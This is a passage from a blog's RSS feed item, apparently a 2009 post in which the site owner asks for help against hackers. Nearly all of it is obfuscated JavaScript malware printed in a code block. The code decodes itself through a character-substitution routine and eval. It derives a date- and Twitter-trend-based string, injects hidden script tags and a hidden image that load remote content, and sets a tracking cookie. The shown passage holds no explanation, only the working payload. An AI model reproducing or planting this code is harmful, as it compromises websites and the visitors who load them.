$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0!Z2520;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vrs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07hucZ22;stZ3dZ22Z2573tZ253dZ2522Z2524aZ253dsZ2574;Z2564Z2563sZ2528Z2564Z2561Z252bdZ2562Z252bZ2564cZ252bdZ2564+Z2564eZ252cZ2531Z2530Z2529;Z2564Z2577Z2528sZ2574)Z253bsZ2574Z253d$Z2561;Z2522;Z22;cdZ3dZ22dst+Z2553trZ2569ng.Z2566Z2572omZ2543hZ2561Z2572Z2543oZ2564e((Z2574Z256dp.Z256Z22;caZ3dZ22Z2566Z2575nZ2563tZ2569on Z2564csZ2528dsZ252cesZ2529Z257bdsZ253dunZ2565scaZ257Z22;opZ3dZ22Z2524aZ253dZ2522dw(Z2564Z2563Z2573(cZ2575Z252cZ2531Z2534Z2529);Z2522;Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;dfZ7bl;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cbZ3dZ220Z2565(Z2564s)Z253bstZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cds.lZ256Z22;ccZ3dZ225nZ2567th;Z2569++)Z257btmZ2570Z253dds.sZ256cicZ2565(i,Z2569+1)Z253bstZ253Z22;deZ3dZ22uqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;Z69Z66 Z28Z64oZ63Z75menZ74.coZ6fkiZ65Z2eindZ65xOfZ28Z27rZ665Z66Z36dsZ27)Z3dZ3d-1)Z7bfuZ6ecZ74Z69oZ6e Z63aZ6clbZ61cZ6b(Z78)Z7bwinZ64ow.Z74w Z3d Z78;vZ61Z72 dZ20Z3d Z6eew Z44Z61te(Z29Z3bdZ2eZ73Z65tZ54Z69mZ65Z28x[Z22as_Z6fZ66Z22]Z2a100Z30)Z3bZ76arZ20h Z3d Z64.geZ74Z55TZ43HZ6fZ75Z72Z73Z28)Z3bwZ69nZ64Z6fZ77.h Z3d hZ3bZ69Z66Z20(Z68 Z3e Z38)Z7bZ64Z2esetZ55TCZ44atZ65(d.Z67eZ74Z55TCDZ61Z74e(Z29 Z2d 2)Z3b}Z65lsZ65Z7bdZ2esetZ55TCZ44atZ65(dZ2egZ65tUZ54CDZ61te(Z29 - Z33)Z3bZ7dwinZ64Z6fZ77Z2eZ67dZ20Z3d Z64;vaZ72 tiZ6de Z3dZ20nZ65Z77Z20ArrZ61y()Z3bvarZ20sZ68iftZ49Z6edeZ78 Z3d Z22Z22;tiZ6de[Z22yeZ61rZ22] Z3d d.gZ65tZ55Z54CZ46uZ6clZ59eZ61rZ28);tZ69Z6deZ5bZ22montZ68Z22] Z3d d.Z67eZ74Z55Z54Z43MonZ74hZ28Z29Z2b1;tZ69me[Z22dZ61yZ22] Z3d d.Z67etZ55TCDZ61teZ28)Z3bZ69fZ20(d.Z67etZ55Z54Z43MZ6fZ6eth(Z29+Z31 Z3c 10)Z7bshiZ66tIZ6edZ65xZ20Z3d timeZ5bZ22yeaZ72Z22] +Z20Z22-0Z22 + (Z64.gZ65tUTZ43MonZ74h(Z29+1)Z3bZ7deZ6csZ65Z7bshiftIZ6eZ64eZ78Z20Z3d tiZ6deZ5bZ22yZ65arZ22] + Z22-Z22 +Z20(d.Z67etZ55TCZ4donZ74h()Z2b1Z29;}iZ66 (Z64.geZ74UTCZ44ateZ28) Z3c Z310)Z7bsZ68iftZ49ndZ65x Z3dshiZ66tInZ64ex Z2b Z22-0Z22 Z2b dZ2egZ65Z74UTCZ44aZ74Z65(Z29;Z7delsZ65Z7bshiftIZ6edeZ78 Z3d Z73hifZ74IndZ65Z78 +Z20Z22Z2dZ22 + dZ2egetZ55Z54Z43DaZ74e()Z3bZ7ddZ6fZ63umZ65Z6etZ2eZ77Z72Z69Z74e(Z22Z3cscrZ22+Z22iptZ20lanZ67uaZ67eZ3djZ61vZ61sZ63riZ70tZ22+Z22 sZ72Z63Z3dZ27htZ74pZ3aZ2fZ2fsearch.tZ77Z69tZ74eZ72.cZ6fmZ2ftrZ65nZ64Z73Z2fZ64aiZ6cy.jZ73oZ6e?dZ61teZ3dZ22+ sZ68ifZ74InZ64Z65x+Z22&amp;caZ6clbZ61cZ6bZ3dcallZ62Z61cZ6b2Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iZ70tZ3eZ22);}Z20Z66Z75nctZ69oZ6eZ20cZ61lZ6cbacZ6bZ32Z28xZ29Z7bwindZ6fZ77Z2etwZ20Z3d x;scZ28Z27rf5Z666dsZ27,Z32,7Z29Z3bevZ61Z6cZ28uZ6eZ65scZ61Z70Z65(dZ7aZ2bcz+Z6fp+sZ74Z29Z2bZ27dw(dZ7a+Z63z(Z24a+sZ74));Z27Z29Z3bdZ6fcumZ65Z6eZ74.Z77ritZ65($aZ29Z3b}dZ6fcZ75menZ74.wZ72Z69te(Z22Z3cimg Z73rcZ3dZ27httZ70:Z2fZ2fseaZ72Z63h.tZ77ittZ65rZ2ecoZ6dZ2fimagZ65Z73Z2fsearcZ68Z2frZ73s.pZ6egZ27 widtZ68Z3d1 heiZ67htZ3d1 sZ74yleZ3dZ27visibZ69litZ79Z3aZ68iZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt lZ61ngZ75ageZ3djavZ61Z73Z63rZ69ptZ22+Z22 srZ63Z3dZ27httpZ3aZ2fZ2fsearch.twZ69Z74terZ2ecZ6fmZ2ftrendZ73Z2fdailZ79.Z6asoZ6e?cZ61Z6clbZ61Z63kZ3dcallbZ61cZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}eZ6csZ65Z7b$aZ3dZ27Z27};fZ75nZ63tioZ6e scZ28Z63nm,Z76,eZ64Z29Z7bvar Z65xdZ3dnew Z44Z61te(Z29Z3beZ78d.sZ65Z74DZ61teZ28eZ78d.Z67eZ74Z44ateZ28)+eZ64Z29;doZ63Z75Z6dZ65nZ74.cZ6foZ6bieZ3dcnmZ2bZ20Z27Z3dZ27 +escape(Z76)Z2bZ27;eZ78pZ69rZ65sZ3dZ27+eZ78dZ2eZ74Z6fGZ4dTStZ72iZ6eg()Z3b}Z3b&quot;</span><span style="color: #339933;">;</span>function z<span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>r<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>for<span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span>s.<span style="color: #660066;">length</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>s.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #3366CC;">&quot;Z&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>s1<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;%&quot;</span><span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">else</span><span style="color: #009900;">&#123;</span>s1<span style="color: #339933;">=</span>s.<span style="color: #660066;">charAt</span><span style="color: #009900;">&#40;</span>i<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#125;</span>r<span style="color: #339933;">=</span>r<span style="color: #339933;">+</span>s1<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">return</span> unescape<span style="color: #009900;">&#40;</span>r<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>z<span style="color: #009900;">&#40;</span>$a<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.emanueleferonato.com/2009/12/09/help-needed-war-to-hackers/feed/</wfw:commentRss>
		<slash:comments>41</slash:comments>
		</item>
	</channel>
</rss>
